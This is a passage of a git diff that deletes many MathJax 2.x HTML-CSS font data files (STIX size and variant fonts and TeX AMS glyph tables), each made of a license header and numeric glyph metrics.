-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeOneSym,{710:[767,-554,560,0,560],711:[767,-554,560,0,560],732:[750,-598,558,-2,558],759:[-117,269,558,-2,558],773:[820,-770,0,-1000,0],780:[767,-554,0,-720,-160],816:[-117,269,0,-722,-162],818:[-127,177,0,-1000,0],824:[532,21,0,-720,-157],8254:[820,-770,1000,0,1000],8400:[749,-584,0,-892,-21],8401:[749,-584,0,-893,-22],8406:[735,-482,0,-893,-21],8407:[736,-482,0,-893,-21],8428:[-123,288,0,-893,-22],8429:[-123,288,0,-892,-21],8430:[-26,279,0,-893,-21],8431:[-25,279,0,-893,-21],8512:[1500,-50,1259,55,1204],8731:[1552,295,1057,112,1089],8732:[1552,295,1057,112,1089],8992:[1066,79,688,294,574],8993:[1086,59,688,115,394],9138:[1500,5,1482,92,1292],9139:[1500,5,1482,92,1366],9140:[766,-544,1063,69,994],9141:[139,83,1063,68,993],9180:[60,153,926,0,926],9181:[777,-564,926,0,926],9184:[66,212,1460,0,1460],9185:[842,-564,1460,0,1460],10098:[1066,164,566,205,539],10099:[1066,164,566,27,361],10214:[1066,164,515,180,486],10215:[1066,164,515,29,335],10218:[1066,164,798,116,670],10219:[1066,164,798,128,682],10627:[1066,164,712,114,587],10628:[1066,164,712,114,587],10629:[1066,164,632,135,546],10630:[1066,164,632,86,497],10744:[1566,279,806,25,781],10745:[1566,279,806,25,781],10755:[1500,-39,1265,118,1147],10759:[1500,-49,1530,60,1470],10760:[1500,-49,1530,60,1470],10761:[1500,-49,1482,60,1422],10762:[1500,-50,1292,90,1202],11004:[867,363,690,133,557],11007:[867,363,410,100,310]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeOneSym/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/Main.js
deleted file mode 100644
index 295d4676..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeOneSym/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeOneSym={directory:"SizeOneSym/Regular",family:"STIXSizeOneSym",Ranges:[[688,767,"All"],[768,824,"All"],[8254,8254,"All"],[8400,8431,"All"],[8512,8512,"All"],[8730,8732,"All"],[8992,8993,"All"],[9115,9145,"All"],[9180,9185,"All"],[10098,10099,"All"],[10214,10219,"All"],[10627,10630,"All"],[10744,10745,"All"],[10752,10762,"All"],[11004,11007,"All"]],32:[0,0,250,0,0],40:[1066,164,468,139,382],41:[1066,164,468,86,329],47:[1066,164,579,25,552],91:[1066,164,383,180,363],92:[1066,164,579,27,552],93:[1066,164,383,20,203],95:[-127,177,1000,0,1000],123:[1066,164,575,114,466],125:[1066,164,575,109,461],160:[0,0,250,0,0],770:[767,-554,0,-720,-160],771:[750,-598,0,-722,-162],8719:[1500,-49,1355,50,1305],8720:[1500,-49,1355,50,1305],8721:[1499,-49,1292,90,1202],8730:[1552,295,1057,112,1089],8896:[1500,-49,1265,60,1205],8897:[1500,-49,1265,60,1205],8898:[1510,-49,1265,118,1147],8899:[1500,-39,1265,118,1147],8968:[1066,164,453,180,426],8969:[1066,164,453,25,273],8970:[1066,164,453,180,428],8971:[1066,164,453,27,273],9115:[700,305,450,50,400],9116:[705,305,450,50,174],9117:[705,300,450,50,400],9118:[700,305,450,50,400],9119:[705,305,450,276,400],9120:[705,300,450,50,400],9121:[682,323,450,50,415],9122:[687,323,450,50,150],9123:[687,318,450,50,415],9124:[682,323,450,35,400],9125:[687,323,450,300,400],9126:[687,318,450,35,400],9127:[700,305,640,260,600],9128:[705,305,640,40,380],9129:[705,300,640,260,600],9130:[705,305,640,260,380],9131:[700,305,640,40,380],9132:[705,305,640,260,600],9133:[705,300,640,40,380],9134:[610,25,688,294,394],9136:[700,301,600,35,566],9137:[700,301,600,35,566],9143:[1510,345,1184,112,895],9144:[1566,289,721,0,66],9145:[1566,289,721,655,721],9182:[136,89,926,0,925],9183:[789,-564,926,0,925],10216:[1066,164,578,116,462],10217:[1066,164,578,116,462],10752:[1500,-49,1555,52,1503],10753:[1500,-49,1555,52,1503],10754:[1500,-49,1555,52,1503],10756:[1500,-39,1265,118,1147],10757:[1500,-49,1153,82,1071],10758:[1500,-49,1153,82,1071]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeOneSym");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeOneSym/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Bold/Main.js
deleted file mode 100644
index 72208240..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXSizeThreeSym-bold"]={directory:"SizeThreeSym/Bold",family:"STIXSizeThreeSym",weight:"bold",32:[0,0,250,0,0],40:[2104,355,750,163,686],41:[2104,355,750,64,587],47:[2104,355,1102,11,1091],91:[2104,355,538,236,540],92:[2104,355,1102,11,1091],93:[2104,355,538,-2,302],123:[2104,355,906,124,736],125:[2104,355,906,170,782],160:[0,0,250,0,0],8730:[2604,471,1076,104,1139],8968:[2104,355,595,236,599],8969:[2104,355,595,-4,359],8970:[2104,355,595,236,599],8971:[2104,355,595,-4,359],10216:[2104,355,765,108,720],10217:[2104,355,765,45,657]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeThreeSym-bold");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeThreeSym/Bold/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Regular/All.js
deleted file mode 100644
index fb315eb6..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeThreeSym,{710:[777,-564,1460,0,1460],711:[777,-564,1460,0,1460],732:[774,-608,1458,-2,1458],759:[-117,283,1458,-2,1458],773:[820,-770,0,-2000,0],780:[777,-564,0,-1610,-150],816:[-117,283,0,-1612,-152],818:[-127,177,0,-2000,0],824:[662,156,0,-543,-132],8254:[820,-770,2000,0,2000],8400:[749,-584,0,-1773,-29],8401:[749,-584,0,-1773,-29],8406:[735,-482,0,-1773,-29],8407:[735,-482,0,-1773,-29],8428:[-123,288,0,-1773,-29],8429:[-123,288,0,-1773,-29],8430:[-26,279,0,-1773,-29],8431:[-26,279,0,-1773,-29],8731:[2565,510,1076,112,1110],8732:[2565,510,1076,112,1110],9140:[766,-544,2147,78,2069],9141:[139,83,2147,78,2069],9180:[70,161,1886,0,1886],9181:[803,-572,1886,0,1886],9184:[66,212,2312,0,2312],9185:[842,-564,2312,0,2312],10098:[2066,393,842,265,790],10099:[2066,393,842,52,577],10214:[2066,394,647,225,597],10215:[2066,394,647,50,422],10218:[2067,394,1091,104,955],10219:[2067,394,1091,136,987],10627:[2066,394,1031,143,867],10628:[2066,394,1031,164,888],10629:[2066,393,1029,180,914],10630:[2066,393,1029,115,849]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeThreeSym/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Regular/Main.js
deleted file mode 100644
index 04af3bec..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeThreeSym/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeThreeSym={directory:"SizeThreeSym/Regular",family:"STIXSizeThreeSym",Ranges:[[688,767,"All"],[768,824,"All"],[8254,8254,"All"],[8400,8431,"All"],[8730,8732,"All"],[9115,9145,"All"],[9180,9185,"All"],[10098,10099,"All"],[10214,10219,"All"],[10627,10630,"All"]],32:[0,0,250,0,0],40:[2066,394,750,182,667],41:[2066,394,750,83,568],47:[2066,394,1101,30,1071],91:[2066,394,508,225,491],92:[2066,394,1101,30,1071],93:[2066,394,508,17,283],95:[-127,177,2000,0,2000],123:[2066,394,906,143,717],125:[2066,394,906,189,763],160:[0,0,250,0,0],770:[777,-564,0,-1610,-150],771:[774,-608,0,-1612,-152],8730:[2565,510,1076,112,1110],8968:[2066,394,565,225,550],8969:[2066,394,565,15,340],8970:[2066,394,565,225,550],8971:[2066,394,565,15,340],9182:[157,86,1886,0,1886],9183:[815,-572,1886,0,1886],10216:[2066,394,765,96,670],10217:[2066,394,765,95,669]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeThreeSym");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeThreeSym/Regular/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Bold/Main.js
deleted file mode 100644
index 32c2da42..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXSizeTwoSym-bold"]={directory:"SizeTwoSym/Bold",family:"STIXSizeTwoSym",weight:"bold",32:[0,0,250,0,0],40:[1604,241,608,110,512],41:[1604,241,608,96,498],47:[1604,241,802,4,798],91:[1604,241,485,197,467],92:[1604,241,802,4,798],93:[1604,241,485,18,288],123:[1604,241,681,69,514],125:[1604,241,681,167,612],160:[0,0,250,0,0],8730:[2095,355,1130,106,1185],8968:[1604,241,538,185,510],8969:[1604,241,538,28,355],8970:[1604,241,538,185,512],8971:[1604,241,538,28,353],10216:[1604,241,622,98,572],10217:[1604,241,622,50,524]};MathJax.OutputJax["HTML-CSS"].initFont("STIXSizeTwoSym-bold");MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeTwoSym/Bold/Main.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Regular/All.js
deleted file mode 100644
index deff59d5..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXSizeTwoSym,{710:[777,-564,979,0,979],711:[777,-564,979,0,979],732:[760,-608,977,-2,977],759:[-117,269,977,-2,977],773:[820,-770,0,-1500,0],780:[777,-564,0,-1150,-171],816:[-117,269,0,-1152,-173],818:[-127,177,0,-1500,0],824:[662,0,0,-720,-6],8254:[820,-770,1500,0,1500],8400:[749,-584,0,-1323,-15],8401:[749,-584,0,-1323,-15],8406:[735,-482,0,-1323,-15],8407:[735,-482,0,-1323,-15],8428:[-123,288,0,-1323,-15],8429:[-123,288,0,-1323,-15],8430:[-26,279,0,-1323,-15],8431:[-26,279,0,-1323,-15],8731:[2056,404,1124,110,1157],8732:[2056,404,1124,110,1157],9140:[766,-544,1606,74,1532],9141:[139,83,1606,74,1532],9180:[66,147,1460,0,1460],9181:[785,-572,1460,0,1460],9184:[66,212,1886,0,1886],9185:[842,-564,1886,0,1886],10098:[1566,279,688,230,651],10099:[1566,279,688,37,458],10214:[1566,279,555,190,517],10215:[1566,279,555,38,365],10218:[1566,279,901,93,793],10219:[1566,279,901,108,808],10627:[1566,279,827,122,692],10628:[1565,280,827,135,705],10629:[1566,282,793,155,693],10630:[1566,282,793,100,638],11004:[1586,289,906,133,773]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/SizeTwoSym/Regular/All.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Regular/Main.js
deleted file mode 100644
index 62c47c1c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/SizeTwoSym/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
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- *  you may not use this file except in compliance with the License.
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- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Bold/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Bold/All.js
deleted file mode 100644
index 9eace765..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Bold/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Bold/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Bold/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Bold/Main.js
deleted file mode 100644
index 3cb69a74..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Bold/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Bold/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Regular/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Regular/All.js
deleted file mode 100644
index 79bf4aba..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Regular/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Regular/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Regular/Main.js
deleted file mode 100644
index 07d971b7..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/Variants/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/fontdata-beta.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/fontdata-beta.js
deleted file mode 100644
index 10f2ac69..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/fontdata-beta.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/fontdata-beta.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/fontdata.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/fontdata.js
deleted file mode 100644
index d4faa172..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/fontdata.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/fontdata.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Arrows.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Arrows.js
deleted file mode 100644
index 81c39cc0..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Arrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{8592:[438,-63,500,64,422],8594:[438,-63,500,57,417],8602:[437,-60,1000,56,942],8603:[437,-60,1000,54,942],8606:[417,-83,1000,56,944],8608:[417,-83,1000,55,943],8610:[417,-83,1111,56,1031],8611:[417,-83,1111,79,1054],8619:[575,42,1000,56,964],8620:[575,42,1000,35,943],8621:[417,-83,1389,57,1331],8622:[437,-60,1000,56,942],8624:[722,0,500,56,444],8625:[722,0,500,55,443],8630:[462,1,1000,17,950],8631:[460,1,1000,46,982],8634:[650,83,778,55,722],8635:[650,83,778,56,721],8638:[694,194,417,188,375],8639:[694,194,417,41,228],8642:[694,194,417,188,375],8643:[694,194,417,41,228],8644:[667,0,1000,55,944],8646:[667,0,1000,55,944],8647:[583,83,1000,55,944],8648:[694,194,833,83,749],8649:[583,83,1000,55,944],8650:[694,194,833,83,749],8651:[514,14,1000,55,944],8652:[514,14,1000,55,944],8653:[534,35,1000,54,942],8654:[534,37,1000,32,965],8655:[534,35,1000,54,943],8666:[611,111,1000,76,944],8667:[611,111,1000,55,923],8669:[417,-83,1000,56,943],8672:[438,-63,1334,64,1252],8674:[438,-63,1334,83,1251]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/Arrows.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/BBBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/BBBold.js
deleted file mode 100644
index 560158f1..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/BBBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/BBBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{32:[0,0,250,0,0],65:[701,2,722,16,703],66:[683,1,667,11,620],67:[702,19,722,39,684],68:[683,1,722,16,688],69:[683,1,667,12,640],70:[683,1,611,12,585],71:[702,19,778,39,749],72:[683,1,778,14,762],73:[683,1,389,20,369],74:[683,77,500,6,478],75:[684,1,778,22,768],76:[683,1,667,12,640],77:[684,1,944,17,926],78:[684,20,722,20,702],79:[701,19,778,34,742],80:[683,1,611,16,597],81:[701,181,778,34,742],82:[683,1,722,16,705],83:[702,12,556,28,528],84:[683,1,667,33,635],85:[683,19,722,16,709],86:[684,20,722,0,719],87:[684,19,1000,5,994],88:[684,1,722,16,705],89:[683,1,722,16,704],90:[683,1,667,29,635],107:[684,2,556,17,535]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/BBBold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/BoxDrawing.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/BoxDrawing.js
deleted file mode 100644
index 548aa6dd..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/BoxDrawing.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/BoxDrawing.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{9484:[694,-306,500,54,444],9488:[695,-306,500,55,444],9492:[367,23,500,54,444],9496:[366,22,500,55,445],9585:[694,195,889,0,860],9586:[694,195,889,0,860]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/BoxDrawing.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/CombDiacritMarks.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/CombDiacritMarks.js
deleted file mode 100644
index 0b127eca..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{770:[845,-561,0,-2347,13],771:[899,-628,0,-2332,-3]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/CombDiacritMarks.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Dingbats.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Dingbats.js
deleted file mode 100644
index bd72d858..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Dingbats.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/Dingbats.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{10003:[707,35,833,84,749],10016:[716,22,833,48,786]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/Dingbats.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/EnclosedAlphanum.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/EnclosedAlphanum.js
deleted file mode 100644
index 54f3cd0a..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/EnclosedAlphanum.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/EnclosedAlphanum.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{9416:[709,175,902,8,894]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/EnclosedAlphanum.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GeneralPunctuation.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GeneralPunctuation.js
deleted file mode 100644
index 69359bdf..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.MathJax_AMS,{8245:[560,-43,275,12,244]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/AMS/Regular/GeneralPunctuation.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GeometricShapes.js b/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GeometricShapes.js
deleted file mode 100644
index 4b641a54..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/TeX/AMS/Regular/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
